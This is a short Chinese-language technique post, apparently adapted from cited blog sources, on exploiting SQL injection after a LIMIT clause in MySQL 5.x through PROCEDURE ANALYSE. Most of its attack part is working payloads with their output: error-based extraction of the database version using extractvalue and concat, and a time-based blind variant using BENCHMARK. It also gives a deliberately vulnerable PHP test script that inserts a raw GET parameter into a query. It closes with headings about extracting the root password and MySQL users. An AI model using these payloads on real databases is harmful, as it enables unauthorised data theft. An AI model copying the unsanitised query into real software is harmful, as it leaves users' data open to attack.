原文： https://rateip.com/blog/sql-injections-in-mysql-limit-clause/ http://zone.wooyun.org/content/18220
此方法适用于MySQL 5.x中，在limit语句后面的注入
例如：
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SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
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上面的语句包含了ORDER BY，MySQL当中UNION语句不能在ORDER BY的后面，否则利用UNION很容易就可以读取数据了，看看在MySQL 5中的SELECT语法：
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[ALL | DISTINCT | DISTINCTROW ]
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[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
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[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
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select_expr [, select_expr ...]
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[FROM table_references
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[WHERE where_condition]
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[GROUP BY {col_name | expr | position}
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[ASC | DESC], ... [WITH ROLLUP]]
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[HAVING where_condition]
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[ORDER BY {col_name | expr | position}
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[LIMIT {[offset,] row_count | row_count OFFSET offset}]
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[PROCEDURE procedure_name(argument_list)]
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[INTO OUTFILE 'file_name' export_options
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| INTO DUMPFILE 'file_name'
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| INTO var_name [, var_name]]
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[FOR UPDATE | LOCK IN SHARE MODE]]
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在LIMIT后面可以跟两个函数，PROCEDURE 和 INTO，INTO除非有写入shell的权限，否则是无法利用的，那么使用PROCEDURE函数能否注入呢？ Let’s give it a try:
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mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
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ERROR 1386 (HY000): Can't use ORDER clause with this procedure
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ANALYSE可以有两个参数：
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mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
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ERROR 1386 (HY000): Can't use ORDER clause with this procedure
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看起来并不是很好，继续尝试：
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mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
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但是立即返回了一个错误信息：
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ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
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sleep函数肯定没有执行，但是最终我还是找到了可以攻击的方式：
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mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
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ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
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如果不支持报错注入的话，还可以基于时间注入：
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SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((selectextractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
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直接使用sleep不行，需要用BENCHMARK代替。
我亲测好用~这里附上我的测试代码：
01 <?php
02 header("Content-Type: text/plain; charset=utf-8");
03 require("mysql.class.php");
04 $mysql = new MySQL("test", "root", "root");
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06 $users = $mysql->executeSQL("SELECT * FROM user where uid < 100 ORDER BY uid limit {$_GET['p']}, 10");
07 if($users){
08 $users = var_export($users, TRUE);
09 echo $users;
10 }else{
11 echo $mysql->lastError;
12 }
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报错注入获得root密码：
报错注入获得mysql用户：